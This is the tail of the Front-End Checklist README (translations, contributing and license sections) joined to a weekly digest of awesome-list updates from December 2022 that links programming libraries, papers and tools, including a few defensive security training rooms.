> * 🛠 Complete list of vocabularies that can be used as structured data. [Schema.org Full Hierarchy](http://schema.org/docs/full.html)
* [ ] **Sitemap HTML:** ![Medium][medium_img] An HTML sitemap is provided and is accessible via a link in the footer of your website.
> * 📖 [Sitemap guidelines - Google Support](https://support.google.com/webmasters/answer/183668?hl=en)
**[⬆ back to top](#table-of-contents)**
---
## Translations
The Front-End Checklist is also available in other languages. Thanks for all translators and their awesome work!
* 🇯🇵 Japanese: [miya0001/Front-End-Checklist](https://github.com/miya0001/Front-End-Checklist)
* 🇪🇸 Spanish: [eoasakura/Front-End-Checklist-ES](https://github.com/eoasakura/Front-End-Checklist-ES)
* 🇨🇳 Chinese: [JohnsenZhou/Front-End-Checklist](https://github.com/JohnsenZhou/Front-End-Checklist)
* 🇰🇷 Korean: [kesuskim/Front-End-Checklist](https://github.com/kesuskim/Front-End-Checklist)
* 🇧🇷 Portuguese: [jcezarms/Front-End-Checklist](https://github.com/jcezarms/Front-End-Checklist)
* 🇻🇳 Vietnamese: [euclid1990/Front-End-Checklist](https://github.com/euclid1990/Front-End-Checklist)
* 🇹🇼 Traditional Chinese: [EngineLin/Front-End-Checklist](https://github.com/EngineLin/Front-End-Checklist)
* 🇫🇷 French: [ynizon/Front-End-Checklist](https://github.com/ynizon/Front-End-Checklist)
* 🇷🇺 Russian: [ungear/Front-End-Checklist](https://github.com/ungear/Front-End-Checklist)
* 🇹🇷 Turkish: [eraycetinay/Front-End-Checklist](https://github.com/eraycetinay/Front-End-Checklist)
* 🇩🇪 German: [xfuture603/Front-End-Checklist](https://github.com/xFuture603/Front-End-Checklist)
* 🇵🇱 Polish: [mbiesiad/Front-End-Checklist](https://github.com/mbiesiad/Front-End-Checklist)
* 🇮🇩 Indonesian: [nniinnoo/Front-End-Checklist](https://github.com/nniinnoo/Front-End-Checklist)
---
## Front-End Checklist Badge
If you want to show you are following the rules of the Front-End Checklist, put this badge on your README file!
➔ [](https://github.com/thedaviddias/Front-End-Checklist/)
```md
[](https://github.com/thedaviddias/Front-End-Checklist/)
```
**[⬆ back to top](#table-of-contents)**
---
## Contributing
**Open an issue or a pull request to suggest changes or additions.**
### Guide
The **Front-End Checklist** repository consists of two branches:
#### 1. `master`
This branch consists of the `README.md` file that is automatically reflected on the [Front-End Checklist](https://frontendchecklist.io) website.
#### 2. `develop`
This branch will be used to make some significant changes to the structure, content if needed. It is preferable to use the master branch to fix small errors or add a new item.
## Support
If you have any question or suggestion, don't hesitate to use Gitter or Twitter:
* [Chat on Gitter](https://gitter.im/Front-End-Checklist/Lobby?utm_source=share-link&utm_medium=link&utm_campaign=share-link)
* [Facebook](https://www.facebook.com/frontendchecklist/)
* [Twitter](https://twitter.com/thedaviddias)
## Author
**[David Dias](https://github.com/thedaviddias)**
## Contributors
This project exists thanks to all the people who contribute. [[Contribute]](.github/CONTRIBUTING.md).
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## Backers
Thank you to all our backers! 🙏 [[Become a backer](https://opencollective.com/front-end-checklist#backer)]
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## Sponsors
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## License
[](https://creativecommons.org/publicdomain/zero/1.0/)
**[⬆ back to top](#table-of-contents)**
[low_img]: data/images/priority/low.svg
[medium_img]: data/images/priority/medium.svg
[high_img]: data/images/priority/high.svg
|
# Awesome List Updates on Dec 05 - Dec 11, 2022
81 awesome lists updated this week.
[🏠 Home](/README.md) · [🔍 Search](https://www.trackawesomelist.com/search/) · [🔥 Feed](https://www.trackawesomelist.com/week/rss.xml) · [📮 Subscribe](https://trackawesomelist.us17.list-manage.com/subscribe?u=d2f0117aa829c83a63ec63c2f&id=36a103854c) · [❤️ Sponsor](https://github.com/sponsors/theowenyoung)
## [1. Awesome Job Boards](/content/tramcar/awesome-job-boards/week/README.md)
### Programming / Python
* [PyJobs](https://www.pyjobs.com)
### Programming / Ruby
* [RubyOnRemote](https://rubyonremote.com) - Remote jobs for Ruby developers
### Remote / TypeScript
* [Teletravail.guru](https://teletravail.guru/) - Remote jobs for people located in France
### Various / United Kingdom
* [WorkInGreen.jobs](https://workingreen.jobs/) - Greentech related jobs
## [2. Awesome Agi Cocosci](/content/YuzheSHI/awesome-agi-cocosci/week/README.md)
### Concepts / Human Concept Representation
* [Structuring Knowledge with Cognitive Maps and Cognitive Graphs](https://www.sas.upenn.edu/psych/epsteinlab/pdfs/Peer%20Brunec%20Newcombe%20Epstein%20TiCS%202020%20Cog%20maps%20and%20cog%20graphs.pdf) - ***Trends in Cognitive Sciences***, 2021. \[[All Versions](https://scholar.google.com/scholar?cluster=7196012353183004425\&hl=en\&as_sdt=0,5)]. Russel Epstein's review on evidence suggesting that both map-like and graph-like representations exist in the mind/brain that rely on partially overlapping neural systems.
### Problem Solving / Reinforcement Learning
* [Human-level control through deep reinforcement learning](https://klab.tch.harvard.edu/academia/classes/Neuro230/ReadingAssignments/MnihEtAlHassibis15NatureControlDeepRL.pdf) - ***Nature***, 2015. \[[All Versions](https://scholar.google.com/scholar?cluster=12439121588427761338\&hl=en\&as_sdt=0,5)]. The original paper on solving Atari games via Deep Q-Network.
* [On the Expressivity of Markov Reward](https://papers.NeurIPS.cc/paper/2021/file/4079016d940210b4ae9ae7d41c4a2065-Paper.pdf) - ***NeurIPS'21***, 2021. \[[All Versions](https://scholar.google.com/scholar?cluster=4524686816939437211\&hl=en\&as_sdt=0,5)]. A formal treatment of tasks and rewards in reinforcement learning modeling.
### System 1 & System 2 / Neural-Symbolic AI
* [Bridging Machine Learning and Logical Reasoning by Abductive Learning.](http://papers.NeurIPS.cc/paper/8548-bridging-machine-learning-and-logical-reasoning-by-abductive-learning) - ***NeurIPS'19***, 2019. \[[All Versions](https://scholar.google.com/scholar?cluster=1518342375288126288\&hl=en\&as_sdt=0,5)]. \[[Slides](https://daiwz.net/org/slides/ABL-meetup.html#/slide-title)]. \[[Code (⭐86)](https://github.com/AbductiveLearning/ABL-HED)]. The original paper on Abductive Learning, a derivative-free approach for neuro-symbolic learning.
* [Classification-by-Components: Probabilistic Modeling of Reasoning over a Set of Components](http://papers.NeurIPS.cc/paper/8546-classification-by-components-probabilistic-modeling-of-reasoning-over-a-set-of-components.pdf) - ***NeurIPS'19***, 2019. \[[All Versions](https://scholar.google.com/scholar?cluster=12691103404451941071\&hl=en\&as_sdt=0,5)].
* [Visual Concept-Metaconcept Learning](https://papers.NeurIPS.cc/paper/2019/file/98d8a23fd60826a2a474c5b4f5811707-Paper.pdf) - ***NeurIPS'19***, 2019. \[[All Versions](https://scholar.google.com/scholar?cluster=1888051343232298875\&hl=en\&as_sdt=0,5)].
### Explainability / Explainable Deep Learning
* [This Looks Like That: Deep Learning for Interpretable Image Recognition](http://papers.NeurIPS.cc/paper/9095-this-looks-like-that-deep-learning-for-interpretable-image-recognition.pdf) - ***NeurIPS'19***, 2019. \[[All Versions](https://scholar.google.com/scholar?cluster=9461838581952136719\&hl=en\&as_sdt=0,5)].
### Commonsense / Intuitive Physics
* [PHYRE: A New Benchmark for Physical Reasoning](https://proceedings.neurips.cc/paper/2019/hash/4191ef5f6c1576762869ac49281130c9-Abstract.html) - ***NeurIPS'19***, 2019. \[[All Versions](https://scholar.google.com/scholar?cluster=9555658528231205655\&hl=en\&as_sdt=0,5)]. A benchmark for AI physical reasoning.
### Knowledge Representation / Commonsense Knowledgebase
* [Unsupervised Structure Learning of Stochastic And-Or Grammars](http://www.stat.ucla.edu/~sczhu/papers/Conf_2013/Learning_AoG_NeurIPS_2013.pdf) - ***NeurIPS'13***, 2013. \[[All Versions](https://scholar.google.com/scholar?oi=bibs\&hl=en\&cluster=4354984630817844670)].
### Learning with Cognitive Plausibility / Commonsense Knowledgebase
* [Distributed Representations of Words and Phrases and their Compositionality](https://papers.NeurIPS.cc/paper/2013/file/9aa42b31882ec039965f3c4923ce901b-Paper.pdf) - ***NeurIPS'13***, 2013. \[[All Versions](https://scholar.google.com/scholar?cluster=2410615501856807729\&hl=en\&as_sdt=0,5)].
## [3. Awesome Cyber Security University](/content/brootware/awesome-cyber-security-university/week/README.md)
### Free Beginner Blue Team Path / Level 1 - Tools
* [IntroSIEM](https://tryhackme.com/room/introtosiem) - Introduction to SIEM.
### Free Beginner Blue Team Path / Level 2 - Security Operations, Incident Response & Threat Hunting
* [Hunt Conti with Splunk](https://tryhackme.com/room/contiransomwarehgh) - An Exchange server was compromised with ransomware. Use Splunk to investigate how the attackers compromised the server.
## [4. Awesome Embedded Rust](/content/rust-embedded/awesome-embedded-rust/week/README.md)
### Tools / Community Chat Rooms
* [cargo-bloat (⭐1.9k)](https://github.com/RazrFalcon/cargo-bloat) Find out what takes most of the space in your executable.
* [cargo-call-stack](https://crates.io/crates/cargo-call-stack) Static, whole program stack usage analyzer.
* [cargo-dfu](https://crates.io/crates/cargo-dfu) Cargo extension for flashing embedded rust programs via DFU.
## [5. Awesome V](/content/vlang/awesome-v/week/README.md)
### Text processing
* [vxml (⭐9)](https://github.com/walkingdevel/vxml) - Pure V library for parsing XML to a DOM.
### Utility
* [ssh-config (⭐3)](https://github.com/walkingdevel/ssh-config) - A V library for parsing SSH config files.
## [6. Awesome Coq](/content/coq-community/awesome-coq/week/README.md)
### Resources / Course Material
* [Mechanized Semantics (⭐42)](https://github.com/xavierleroy/cdf-mech-sem) - Coq sources for a course on programming language semantics at Collège de France.
## [7. Awesome Java](/content/akullpp/awesome-java/week/README.md)
### Configuration
* [Externalized Properties (⭐20)](https://github.com/joel-jeremy/externalized-properties) - Lightweight yet powerful configuration library which supports resolution of properties from external sources and an extensible post-processing/conversion mechanism.
### Messaging
* [Deezpatch (⭐33)](https://github.com/joel-jeremy/deezpatch) - Simple, lightweight, and performant dispatch library for decoupling messages (requests and events) and message handlers.
### Miscellaneous
* [Svix (⭐1.1k)](https://github.com/svix/svix-webhooks/tree/main/java) - Library for the Svix API to send webhooks and verify signatures.
### Monitoring
* [HertzBeat (⭐2.4k)](https://github.com/dromara/hertzbeat) - Real-time monitoring system with custom-monitor and agentless.
### Template Engine / Other
* [jstachio (⭐58)](https://github.com/jstachio/jstachio) - Typesafe Mustache templating engine.
## [8. Awesome Cpp](/content/fffaraz/awesome-cpp/week/README.md)
### CLI
* [clipp (⭐1k)](https://github.com/muellan/clipp) - Easy to use, powerful and expressive command line argument handling for C++11/14/17 contained in a single header file. \[MIT]
### Miscellaneous
* [Argon2 (⭐4.3k)](https://github.com/P-H-C/phc-winner-argon2) - The password hash Argon2, winner of PHC. \[CC0/Apache2]
## [9. Awesome Elm](/content/sporto/awesome-elm/week/README.md)
### Examples / Other editors
* [Conway's Game of Life (⭐0)](https://github.com/pecheneg2015/elm-conway-life) - Elm implementation of Conway's Game of Life. **Elm v.0.19**
## [10. Awesome Ruby](/content/markets/awesome-ruby/week/README.md)
### Game Development and Graphics
* [Taylor (⭐66)](https://github.com/HellRok/Taylor) - Taylor is a game engine built using mruby and raylib.
## [11. Awesome Go](/content/avelino/awesome-go/week/README.md)
### Authentication and OAuth
* [jwt-go (⭐4.7k)](https://github.com/golang-jwt/jwt) - A full featured implementation of JSON Web Tokens (JWT). This library supports the parsing and verification as well as the generation and signing of JWTs.
### Style Guides / Libraries for creating HTTP middlewares
* [Google](https://google.github.io/styleguide/go/)
## [12. Awesome Rust](/content/rust-unofficial/awesome-rust/week/README.md)
### Applications / Audio and Music
* [WhatBPM (⭐57)](https://github.com/sergree/whatbpm) — A daily statically generated information resource for electronic dance music producers. Provides daily analytics on the most frequently used values for each EDM genre: tempos, keys, root notes, and so on, using publicly available data such as Beatport and Spotify. 
## [13. Awesome Python Typing](/content/typeddjango/awesome-python-typing/week/README.md)
### Articles / Third-party articles
* [Python Type Checking (Guide)](https://realpython.com/python-type-checking/) - In this guide, you will get a look into Python type checking.
## [14. Awesome Python](/content/vinta/awesome-python/week/README.md)
### E-commerce
* [saleor](https://saleor.io/) - Headless open-source e-commerce platform.
## [15. Awesome Swift](/content/matteocrippa/awesome-swift/week/README.md)
### Camera
* [MediaPicker (⭐75)](https://github.com/exyte/mediapicker) - SwiftUI customizable media picker - supports camera and gallery with albums
### Transition / Barcode
* [LiquidSwipe (⭐351)](https://github.com/exyte/LiquidSwipe) - Liquid navigation animation
## [16. Awesome Eslint](/content/dustinspecker/awesome-eslint/week/README.md)
### Plugins / Libraries
* [Tailwind CSS (⭐910)](https://github.com/francoismassart/eslint-plugin-tailwindcss) - Linting rules for Tailwind CSS classnames.
### Formatters / Testing Tools
* [html (⭐24)](https://github.com/shuoshubao/eslint-formatter-html) - A enhanced ESLint formatter
## [17. Awesome Javascript](/content/sorrycc/awesome-javascript/week/README.md)
### Storage / Runner
* [proxy-web-storage (⭐233)](https://github.com/KID-joker/proxy-web-storage) - Keep the type of storage value unchanged and change array and object directly. Supports listening to the changes and setting expires.
## [18. Awesome Ros2](/content/fkromer/awesome-ros2/week/README.md)
### Packages / Examples
* [zed-ros2-examples (⭐21)](https://github.com/stereolabs/zed-ros2-examples) - Examples and tutorials use the ZED cameras in the ROS2. 
* [realsense-ros:ros2-branch (⭐2k)](https://github.com/IntelRealSense/realsense-ros/tree/ros2) - ROS2 Wrapper for Intel® RealSense™ Devices 
### Packages / Ecosystem
* [urdfdom (⭐79)](https://github.com/ros/urdfdom) - URDF (U-Robot Description Format) library which provides core data structures and a simple XML parser 
* [urdfdom\_headers (⭐24)](https://github.com/ros/urdfdom_headers) - Headers for URDF parsers. 
### Packages / Driver layer
* [duro\_gps\_driver (⭐9)](https://github.com/szenergy/duro_gps_driver) - ROS/ROS2 driver for SwiftNav Duro Inertial GPS / GNSS receivers 
## [19. Awesome Dotnet](/content/quozd/awesome-dotnet/week/README.md)
### Mathematics
* [Jodo.Numerics (⭐11)](https://github.com/JosephJShort/Jodo/#numerics) - Provides extra number types (such as fixed-point and non-overflowing numbers) with full support for operators, math, string-parsing etc. Extensively tested, and cross-platform compatible.
## [20. Awesome Raspberry Pi](/content/thibmaek/awesome-raspberry-pi/week/README.md)
### Articles / iOS
* [10 Years of Raspberry Pi](https://kandi.openweaver.com/collections/educational-service-providers/10-years-of-raspberry-pi) - collections on 10 Years of Raspberry Pi, showcasing the most popular libraries across hobbyist uses cases, home automation, IoT, OS and utilities.
## [21. Awesome Mac](/content/jaywcjlove/awesome-mac/week/README.md)
### Developer Tools / Command Line Tools
* [Warp](https://www.warp.dev) - Warp is a blazingly fast, rust-based terminal reimagined from the ground up to work like a modern app.
## [22. Awesome Ebpf](/content/zoidbergwill/awesome-ebpf/week/README.md)
### Projects Related to eBPF / Tools
* [inspektor-gadget (⭐1.3k)](https://github.com/inspektor-gadget/inspektor-gadget) - A collection of eBPF-based tools to debug and inspect Kubernetes resources and applications.
## [23. Awesome Electron](/content/sindresorhus/awesome-electron/week/README.md)
### Open Source / Other
* [Sigma File Manager (⭐2.1k)](https://github.com/aleksey-hoffman/sigma-file-manager) - Modern file manager.
## [24. Awesome Kotlin](/content/KotlinBy/awesome-kotlin/week/README.md)
### Libraries/Frameworks / Web
* [nacular/doodle](https://nacular.github.io/doodle/) - A pure Kotlin UI framework for the Web (and Desktop)
### Libraries/Frameworks / Multiplatform
* [nacular/measured (⭐104)](https://github.com/nacular/measured) - Type-safe, intuitive units of measure
### Projects / Examples
* [TobseF/Candy-Crush-Clone (⭐91)](https://github.com/TobseF/Candy-Crush-Clone) - A Kotlin Multiplatform match 3 sample game build to teach, made with KorGE.
## [25. Awesome Lowcode](/content/antdimot/awesome-lowcode/week/README.md)
### Automation
* [OneSimpleAPI](https://onesimpleapi.com/) - A toolbox with all the things you need to get your no-code project to success: PDF generation, Currency Exchange, QR codes, Screenshots, and more.
### Flow-based programming
* [Pipedream](https://pipedream.com/) - Connect APIs, remarkably fast with no code. And with code-level control when you need it.
* [Runnable](https://getrunnable.com/) - A low-code framework for building user-facing internal workflows.
### Machine Learning
* [Vertex-AI](https://cloud.google.com/vertex-ai) - Build, deploy, and scale machine learning (ML) models faster, with fully managed ML tools for any use case.
### Visual programming
* [AWS Application Composer](https://aws.amazon.com/application-composer/) - Visually design and build serverless applications quickly.
### Misc
* [Linx](https://linx.software) - General-purpose low-code platform for building custom backends APIs, automations and integrations
## [26. Awesome Ansible](/content/ansible-community/awesome-ansible/week/README.md)
### Tutorials
* [Ansible Tutorials for Beginners and Advanced](https://ansible.puzzle.ch/) - Workshop on multiple topics with different levels of difficulty.
### Tools
* [Steampunk Spotter](https://steampunk.si/spotter/) - Provides an Assisted Automation Writing tool that analyzes and offers recommendations for your Ansible Playbooks.
### Blog posts and opinions / French
* [Apprendre et Maitriser Ansible l'outil de gestion de configuration](https://blog.stephane-robert.info/post/introduction-ansible/) - A large of courses on Ansible in French.
### Editor and IDE Integrations / French
* [Ansible Language Server (⭐198)](https://github.com/ansible/ansible-language-server) - Language Server that adds support for Ansible, to compatible Editors.
* [Emacs - Ansible client for Language Server Protocol](https://emacs-lsp.github.io/lsp-mode/page/lsp-ansible/) - Emacs support for Ansible Language Server Protocol.
* [VS Code - official Ansible Extension](https://marketplace.visualstudio.com/items?itemName=redhat.ansible) - Adds language support for Ansible to Visual Studio Code and OpenVSX compatible editors by leveraging ansible-language-server.
## [27. Awesome Connectivity Info](/content/stevesong/awesome-connectivity-info/week/README.md)
### Global Connectivity Indexes
* Network Readiness Index - ([2022](https://networkreadinessindex.org/wp-content/uploads/reports/nri_2022.pdf)) ([2021](https://networkreadinessindex.org/wp-content/uploads/reports/nri_2021.pdf)) ([2020](https://networkreadinessindex.org/wp-content/uploads/2020/11/NRI-2020-V8_28-11-2020.pdf)) ([2019](https://networkreadinessindex.org/2019/wp-content/uploads/2020/03/The-Network-Readiness-Index-2019-New-version-March-2020-2.pdf)) Network Readiness Index covering 121 economies from Portulans Institute
* cable.co.uk's Worldwide Broadband Price Comparison - ([2022](https://www.cable.co.uk/mobiles/worldwide-data-pricing/)) ([2019](https://www.cable.co.uk/broadband/speed/worldwide-speed-league/)) ([2018](https://www.cable.co.uk/broadband/pricing/worldwide-comparison/)) Index of broadband costs around the world based on fixed line/wireless access.
### Periodic Global Connectivity Reports
* We Are Social ([2022](https://wearesocial.com/uk/blog/2022/01/digital-2022-another-year-of-bumper-growth-2/)) ([2021](https://wearesocial.com/uk/blog/2021/01/digital-2021-uk/)) Annual report by Hootsuite on internet and social media adoption.
### Regional Connectivity Reports and Data
* GSMA Mobile Economy - Latin America ([2022](https://www.gsma.com/mobileeconomy/wp-content/uploads/2022/11/GSMA_LATAM_ME2022_R_Web.pdf)) ([2021](https://www.gsma.com/mobileeconomy/wp-content/uploads/2021/11/GSMA_ME_LATAM_2021.pdf))
## [28. Awesome Scientific Computing](/content/nschloe/awesome-scientific-computing/week/README.md)
### Basic linear algebra
* [BLAS](https://netlib.org/blas/) - Standard building blocks for performing basic vector and matrix operations.
(Fortran, public domain, [GitHub (⭐1.1k)](https://github.com/Reference-LAPACK/lapack/tree/master/BLAS))
* [LAPACK](https://netlib.org/lapack/) - Routines for solving systems of linear equations, linear least-squares, eigenvalue problems, etc.
(Fortran, BSD, [GitHub (⭐1.1k)](https://github.com/Reference-LAPACK/lapack))
### Visualization / Mesh tools
* [F3D](https://f3d.app/) - Cross-platform, fast, and minimalist 3D viewer with scientific visualization tools.
(C++, BSD, [GitHub (⭐904)](https://github.com/f3d-app/f3d))
### Community / Mesh tools
* [Jack Dongarra's software list](https://netlib.org/utk/people/JackDongarra/la-sw.html) - List of freely available software for the solution of linear algebra problems.
* [NA Digest](https://netlib.org/na-digest-html/) - Collection of articles on topics related to numerical analysis and those who practice it.
## [29. Awesome Parasite](/content/ecohealthalliance/awesome-parasite/week/README.md)
### Taxonomy
* [Mammal Diversity Database](https://www.mammaldiversity.org/) - Mammal taxonomic authority maintained by American Society of Mammalogists. Versions are updated and recorded on Zenodo. Full desrciption by [Burgin et al. (2018)](https://academic.oup.com/jmammal/article/99/1/1/4834091?login=false).
## [30. Awesome Jupyter](/content/markusschanta/awesome-jupyter/week/README.md)
### Visualization
* [hvplot](https://hvplot.holoviz.org/) - A familiar and high-level API for data exploration and visualization in Jupyter.
## [31. Awesome Magento2](/content/run-as-root/awesome-magento2/week/README.md)
### Development Utilities
* [Dot Env (⭐8)](https://github.com/zepgram/magento-dotenv) - Magento 2 Environment Variable Component - Implementing Symfony Dotenv.
* [Rest Client (⭐7)](https://github.com/zepgram/module-rest) - Technical Magento 2 module providing simple development pattern, configurations and optimizations to make REST API requests toward external services based on Guzzle Client.
### Search
* [Disable Search Engine (⭐53)](https://github.com/zepgram/module-disable-search-engine) - Disable Elasticsearch and fulltext indexing for category search.
## [32. Awesome Generative Deep Art](/content/filipecalegario/awesome-generative-deep-art/week/README.md)
### Inbox: Stable Diffusion / For text-to-image
* [InvokeAI](https://invoke-ai.github.io/InvokeAI/): Stable Diffusion Toolkit and application that runs Windows, Mac and Linux machines, and on GPU cards with as little as 4 GB or RAM
* [Stability.ai REST API Documentation](https://api.stability.ai/docs): service provided by Stability.ai. DreamStudio authentication required to access this REST API
### Inbox: Stable Diffusion / Stable Diffusion Deployed Web Tools
* [aiimagegenerator.org](https://www.aiimagegenerator.org/): free AI art generator that supports Stable Diffusion txt2img and img2img generation, drawing and inpainting
* [Playground AI](https://playgroundai.com/): frontend for Stable Diffusion with 1000 image generations per day
* [Artistic.wtf](https://www.artistic.wtf/): stable diffusion GUI App
### Hypertechniques / DreamBooth
* [AI Profile Pictures](https://www.aiprofilepictures.com/): paid service for generating profile pictures using AI
### Courses and Educational Materials / Deforum
* [Visual intuition for diffusion models and AI art. #stablediffusionart #aiart #aiartwork #aiartcommunity](https://www.tiktok.com/@ham_made_art/video/7154863972729113899)
* [The Illustrated Stable Diffusion by Jay Alammar](https://jalammar.github.io/illustrated-stable-diffusion/): "gentle introduction \[on] how Stable Diffusion works"
* \[🔥][johnowhitaker/tglcourse (⭐87)](https://github.com/johnowhitaker/tglcourse): The Generative Landscape - a course on generative modelling (currently unfinished)
### Discussions and Philosophy / Papers Collections
* [AI Data Laundering - Waxy.org](https://waxy.org/2022/09/ai-data-laundering-how-academic-and-nonprofit-researchers-shield-tech-companies-from-accountability/): How Academic and Nonprofit Researchers Shield Tech Companies from Accountability
* \[🔥🔥🔥] [(1232) The End of Art: An Argument Against Image AIs - YouTube](https://www.youtube.com/watch?v=tjSxFAGP9Ss\&t=193s): video essay by Steven Zapata
* \[🔥🔥🔥] [The End of Art: An Argument Against Image AIs (Public) - Google Docs](https://docs.google.com/document/d/128yey0VfYhM9eUdvkvCpk5zvvoIkqXfI4hEPAYeJCHU/edit): transcript of the video essay by Steven Zapata
## [33. Awesome Falsehood](/content/kdeldycke/awesome-falsehood/week/README.md)
### Business
* [Twenty five thousand dollars of funny money](http://rachelbythebay.com/w/2022/12/02/25k/) - Same error as above at Google Ads, or the danger of separating your pennies from your dollars, where $250 internal coupons turned into $25,000. My advice: [get rid of integers and floats for monetary values. Use decimals. Or fallback to strings and parse them, don't validate.](https://twitter.com/kdeldycke/status/1599113889093890049)
* [Minutiae of company names](https://twitter.com/nthnmsmth/status/1587880523124408322) - How the rules of the State of Delaware and the IRS does not intersects.
### Dates and Time
* “I'm going to a commune in Vermont and will deal with no unit of time shorter than a season.” - Is the note left on his terminal by a quitting engineer in the 70s, after too much effort toiling away on sub-second timing concerns. Source: [The Soul of a New Machine](https://www.amazon.com/Soul-New-Machine-Tracy-Kidder/dp/0316491705/?tag=kevideld-20).
### Software Engineering
* [Falsehoods about Undefined Behavior](https://predr.ag/blog/falsehoods-programmers-believe-about-undefined-behavior/) - Invoking undefined behavior can cause *anything* to happen, for a much broader definition of "anything" than one might think.
* [Facts about State Machines (⭐710)](https://github.com/cpressey/Facts-about-State-Machines) - State machines are often misunderstood and under-applied.
* [I am endlessly fascinated with content tagging systems](https://twitter.com/hillelogram/status/1534301374166474752) - There are edge-cases even in tagging systems which are suposed to be barebone.
## [34. Awesome Cheminformatics](/content/hsiaoyi0504/awesome-cheminformatics/week/README.md)
### Libraries / Machine Learning
* [DGL-LifeSci (⭐525)](https://github.com/awslabs/dgl-lifesci) - DGL-LifeSci is a [DGL](https://www.dgl.ai/)-based package for various applications in life science with graph neural network.
## [35. Urban and Regional Planning Resources](/content/APA-Technology-Division/urban-and-regional-planning-resources/week/README.md)
### Public Data Resources / Built Environment
* [National Structures Inventory](https://www.hec.usace.army.mil/confluence/nsi/technicalreferences/2022/technical-documentation) - A dataset intended to provide access to consistent, and nationally available point based structure inventories with attribution to support evaluation of consequences from natural and man-made hazards.
### Public Data Resources / Climate
* [ClimRR](https://disgeoportal.egs.anl.gov/ClimRR/) - This portal empowers individuals, governments, and organizations to examine simulated future climate conditions at mid- and end-of-century for a range of climate perils.
### Vendor Data Resources / Infrastructure
* [Cyclomedia](https://www.cyclomedia.com/us) - Cyclomedia captures accurate visual data including imagery and LIDAR at street level and transforms it into valuable insights.
### Planning Coding Resources / Python
* [Peartree (⭐193)](https://github.com/kuanb/peartree) - Peartree helps explore GTFS data and their network characteristics.
### Planning Coding Resources / R
* [r5r (⭐132)](https://github.com/ipeaGIT/r5r) - Is an R package for rapid realistic routing on multimodal transport networks (walk, bike, public transport and car) leveraging the Conveyal R5 routing engine.
### Educational and Informational Resources / Podcasts
* [The Urban Planner's Podcast](https://podcasts.apple.com/us/podcast/the-urban-planners-podcast/id1502943446) - This podcast is for urban planners, urban planning students and those interested in the topic of urban planning.
## [36. Awesome Graphql](/content/chentsulin/awesome-graphql/week/README.md)
### Databases / React
* [Cube](https://cube.dev) - [Headless BI](https://cube.dev/blog/headless-bi) for building data applications with SQL, REST, and [GraphQL API](https://cube.dev/docs/backend/graphql). Connect any database or data warehouse and instantly get a GraphQL API with sub-second latency on top of it. - [Source Code (⭐15k)](https://github.com/cube-js/cube.js)
### Posts / React
* [GraphQL federation example with Apollo Federation and Apollo GraphOS](https://cube.dev/blog/graphql-federation-example-with-apollo-federation-and-apollo-graphos)
* [GraphQL federation with Hasura GraphQL Engine and Cube](https://cube.dev/blog/graphql-federation-with-hasura-graphql-engine)
## [37. Awesome Selfhosted](/content/awesome-selfhosted/awesome-selfhosted/week/README.md)
### Software / Communication - Custom Communication Systems
* [Tiledesk](https://tiledesk.com) - All-in-one customer engagement platform from lead-gen to post-sales, from WhatsApp to your website. With omni-channel live agents and AI-powered chatbots. Self hosted alternative to Intercom, Zendesk, Tawk.to and Tidio. ([Source Code (⭐60)](https://github.com/Tiledesk/tiledesk)) `MIT` `Docker/K8S`
* [Yopass (⭐1.3k)](https://github.com/jhaals/yopass) - Secure sharing of secrets, passwords and files. ([Demo](https://yopass.se/)) `Apache-2.0` `Go`
### Software / Knowledge Management Tools
* [TeamMapper (⭐49)](https://github.com/b310-digital/teammapper) - Host and create your own mindmaps. Share your mindmap sessions with your team and collaborate live on mindmaps. ([Demo](https://map.kits.blog)) `MIT` `Docker/Nodejs`
### Software / Media Streaming - Audio Streaming
* [Bsimp (⭐32)](https://github.com/akrylysov/bsimp) - Minimalistic S3-backed audio library. `Apache-2.0` `Go`
### Software / Miscellaneous
* [Speed Test by OpenSpeedTest™](https://openspeedtest.com/) - Free & Open-Source HTML5 Network Performance Estimation Tool. ([Source Code (⭐897)](https://github.com/openspeedtest/Speed-Test)) `MIT` `Docker`
### Software / Polls and Events
* [docassemble](https://docassemble.org/) - A free, open-source expert system for guided interviews and document assembly, based on Python, YAML, and Markdown. ([Demo](https://demo.docassemble.org/run/legal), [Source Code (⭐643)](https://github.com/jhpyle/docassemble)) `MIT` `Docker`
## [38. Free for Dev](/content/ripienaar/free-for-dev/week/README.md)
### APIs, Data and ML
* [Query.me](https://query.me) - Collaborative data notebooks that execute in a script-like fashion and allow to fetch and send data via SQL, API, and a growing number custom blocks, like Slack and Email. Free for small Teams.
### Log Management
* [logzab.com](https://logzab.com/) — Audit trail management system. Free 1.000 user activity log per month, 1 month retention, for up-to 5 projects.
### Monitoring
* [Airbrake.io](https://www.airbrake.io/) - Get started with Free Forever Error and Performance Monitoring - no credit card required! After the Free Trial period ends, you can choose to upgrade to a paid Airbrake plan, or automatically convert to a FREE FOR LIFE Airbrake Dev Account that includes (1) User, (1) Team, (2) Projects, 7,500 Errors per month, 50,000 Performance Events, and 7 days data retention.
### Forms
* [Tally.so](https://tally.so/) - 99% of all the features are totally free. Free tier lets you have these: unlimited forms, unlimited submissions, email notifications, form logic, collect payments, file upload, custom thank you page, and many more.
### Web Hosting
* [MDB GO](https://mdbgo.com/) - Free hosting for 1 project with 2 weeks Container TTL, 500mb RAM per project, SFTP - 1G disk space.
### Domain
* [Freenom](https://freenom.com) — Free .tk,.ml,.ga,.cf and .gq domain.
### Storage and Media Processing
* [nitropack.io](https://nitropack.io/) - Accelerate your site's speed on autopilot with complete front-end optimization (caching, images and code optimization, CDN). Free for up to 5,000 pageviews/month
### Design and UI
* [Lucide](https://lucide.dev) - Free customizable and consistent SVG icon toolkit.
### Game Development
* [Kenney](https://www.kenney.nl/assets/) - Free (CC0 1.0 Universal licensed) 2D, 3D, Audio, and UI game assets.
## [39. Awesome Rest](/content/marmelab/awesome-rest/week/README.md)
### Querying / Symfony2
* [Step CI (⭐913)](https://github.com/stepci/stepci) - Open-source framework for API Quality Assurance, which tests REST, GraphQL and gRPC automated and from Open API spec.
## [40. Awesome List](/content/sindresorhus/awesome/week/README.md)
### Front-End Development
* [Master CSS (⭐15)](https://github.com/master-co/awesome-master-css#readme) - A virtual CSS language with enhanced syntax.
## [41. Awesome Geojson](/content/tmcw/awesome-geojson/week/README.md)
### conversion
* [betterknown (⭐32)](https://github.com/placemark/betterknown): convert WKT to GeoJSON (successor to wellknown)
## [42. Awesome Healthcare](/content/kakoni/awesome-healthcare/week/README.md)
### Contents / EHR
* [Medplum (⭐669)](https://github.com/medplum/medplum) - Developer platform that enables flexible and rapid development of healthcare apps.
### Contents / Specifications
